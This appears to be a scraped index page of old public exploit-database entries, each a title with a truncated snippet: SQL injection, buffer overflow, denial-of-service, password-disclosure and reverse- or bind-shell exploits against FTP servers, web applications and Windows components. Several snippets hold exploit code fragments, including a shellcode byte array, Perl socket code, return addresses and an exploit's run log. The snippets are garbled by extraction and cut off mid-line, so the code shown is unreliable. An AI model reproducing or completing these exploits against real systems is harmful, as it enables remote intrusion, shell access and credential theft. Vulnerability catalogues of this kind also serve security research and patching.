PortailPHP 1.3 - 'ID' SQL Injection

source: https://www.securityfocus.com/bid/13708/info PortailPHP is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query. Successful exploitation could result in a compromise of the...

Woltlab Burning Board 2.3.1 - 'register.php' SQL Injection

!/usr/bin/perl use strict; use IO::Socket::INET; $| = print " Woltlab Burning Board $addr, PeerPort = $port, Proto = 'tcp', Timeout = 8 or die'- Could not connect to server'; if&test$i, 96 buchstabe formy $c=97;$c103;$c++ if&test$i, $c, 1 print pack'c', $c; last; else zahl print "0-4\n"; formy...

DataTrac Activity Console - Denial of Service

/ DataTrac Activity Console DoS Exploit ---------------------------------------- INFGP - Hacking&security Research Resolve host... OK + Connecting... OK Target locked Sending bad procedure... OK + Server DoS'ed Greats: Infam0us Gr0up,Yudhamephisthopeles,Kavling Community, 1st Indonesian...

CJ Ultra Plus 1.0.3/1.0.4 - 'OUT.php' SQL Injection

source: https://www.securityfocus.com/bid/13533/info CJ Ultra Plus is prone to an SQL injection vulnerability. This issue affects the 'out.php' script and could permit remote attackers to pass malicious input to database queries, resulting in modification of query logic or other attacks...

GlobalScape Secure FTP Server 3.0 Buffer Overflow Exploit

No description provided by source. !/usr/bin/python GlobalScape Secure FTP Server Buffer Overflow Coded by [email protected] http://www.see-security.com http://www.hackingdefined.com/exploits/Globalscape30.pdf EIP Overwrite root@muts ./globalscape-3.0-ftp.py + Evil GlobalFTP 3.0 Secure Server...

Golden FTP Server Pro 2.52 - Remote Buffer Overflow (3)

Golden FTP Server Pro 2.52 - Remote Buffer Overflow 3 / \ golden ftp 2.52.0.0 remote r00t exploit / \ remote r00t exploit binds 4444 port on remote machine. / tested on: winxp sp0 rus \ / simple stack overflow in golden ftpd. \ if retaddr isn't right, ftpd will crash, and admin will be in big shi...

NotJustBrowsing 1.0.3 - Local Password Disclosure

/ NotJustBrowsing 1.0.3 Local Password Disclosure Exploit by Kozan Application: NotJustBrowsing 1.0.3 Procuder: www.notjustbrowsing.com Vulnerable Description: NotJustBrowsing 1.0.3 discloses passwords to local users. Discovered & Coded by Kozan Credits to ATmaCA www.netmagister.com -...

MySQL MaxDB Webtool 7.5.00.23 - Remote Stack Overflow

/ MySQL MaxDB Webtool Remote Stack Overflow Exploit cybertronicatgmxdotnet 04/27/2005 / / / / / / / / / / / / / / / / / / / // // / // / / / / // / / // / / / / / / /, /./// // // //// // -- exploit by : cybertronic - cybertronicatgmxdotnet -- select target -- 0 0x100163d2 esi ebp ret --...

artmedic_links5 remote file access exploit

You can read details of this vulnerability here: http://www.securityfocus.com/archive/1/367144 Very simple source of exploit, enjoy. / artmediclinks5 remote file access exploit Adam Simuntis [email protected] / include stdio.h include stdlib.h include arpa/inet.h include sys/types.h include sys/socket.h...

Microsoft Jet Database - msjet40.dll Code Execution (Reverse Shell) (2)

Microsoft Jet Database - msjet40.dll Code Execution Reverse Shell 2 Microsoft Jet msjet40.dll Reverse Shell Exploit Based on the exploit written by S.Pearson and Python version by coded by Tal zeltzer XP/sp2 fixed version by Jean Luc import sys import struct Addresses are compatible with Windows ...

BitchX 1.0c20 - Local Buffer Overflow

/ Tested on BitchX-1.0c19 /str0ke / / P.o.C Exploit Code for BitchX made for Version BitchX-1.0c20cvs -- Date 20020325 C 2004. GroundZero Security Research and Software Development http://www.groundzero-security.com released under the GNU GPL - http://www.gnu.org/licenses/gpl.txt -- background...

WheresJames Webcam Publisher Beta 2.0.0014 - Remote Buffer Overflow

/ WheresJames Webcam Publisher Beta 2.0.0014 POC www.wheresjames.com Bug and Exploit by : Miguel Tarascó Acuña - Haxorcitos.com 2005 Tarako AT gmail.com - Tarako AT Haxorcitos.com Platforms tested: - Windows 2000 SP4 Spanish - Probably All Windows 2000 versions Exploit Date: 15/April/2005 THIS...

23laeon.c.txt

/ local linux exploit within aeon-0.2a Coded by patr0n security-tmp.h14.ru / define BUFLEN 533 define PATH "/home/research/aeon-0.2a/aeon" char shellcode= "\x31\xc0\x31\xdb\xb0\x17\xcd\x80" "\xb0\x2e\xcd\x80\xeb\x15\x5b\x31" "\xc0\x88\x43\x07\x89\x5b\x08\x89" "\x43\x0c\x8d\x4b\x08\x31\xd2\xb0"...

serendipity SQL Injection vulnerability

ADZ Security Team =================== Info Program: serentdipity web blog system Version: 0.8beta4 Module: exit.php Bug type: SQL Injection Vendor site: http://www.s9y.org/ Vendor Informed: Yes =================== Bug Info // code start //....... $links = serendipitydbquery"SELECT link FROM...

Sumus 0.2.2 httpd Remote Buffer Overflow Exploit

No description provided by source. / sumusv0.2.2: httpd remote buffer overflow exploit. by: vade79/v9 [email protected] fakehalo/realhalo compile: gcc xsumus.c -o xsumus syntax: ./xsumus -pscrln -h host sumus homepage/url: http://sumus.sourceforge.net Mus is a Spanish cards game played by 4 folks...

BitComet 0.57 Local Proxy Password Disclosure Exploit

No description provided by source. / BitComet 0.57 Local Proxy Password Disclosure Exploit by Kozan Application: BitComet 0.57 and probably prior versions Vendor:www.bitcomet.com Vulnerable Description: BitComet 0.57 discloses proxy passwords to local users. Discovered & Coded by: Kozan Credits t...

DeluxeFtp 6.x Local Password Disclosure Exploit

Exploit for unknown platform in category local exploits =============================================== DeluxeFtp 6.x Local Password Disclosure Exploit =============================================== / DeluxeFtp 6.x Local Password Disclosure Exploit by Kozan Application: DeluxeFtp 6.x and probabl...

Serendipity 0.8beta4 exit.php SQL Injection Exploit

Exploit for unknown platform in category web applications =================================================== Serendipity 0.8beta4 exit.php SQL Injection Exploit =================================================== !/usr/bin/perl Serendipity 0.8beta4 exit.php SQL Injection exploit c ADZ Security...

Microsoft Jet Database - 'msjet40.dll' Reverse Shell (1)

See-security Technologies ltd. http://www.see-security.com Microsoft Jet msjet40.dll Reverse Shell Exploit coded by Tal zeltzer Based on the exploit written by S.Pearson import sys import struct Addresses are compatible with Windows XP Service Pack 1 ReturnAddress = 0x77F51B93 Address of "jmp edx...

Microsoft Internet Explorer DHTML objects contain a race condition

Overview A race condition in the way that Internet Explorer handles DHTML objects may allow a remote attacker to execute arbitrary code on a vulnerable system. Description According to Microsoft:Dynamic HTML DHTML is built on an object model that extends the traditional static HTML document which...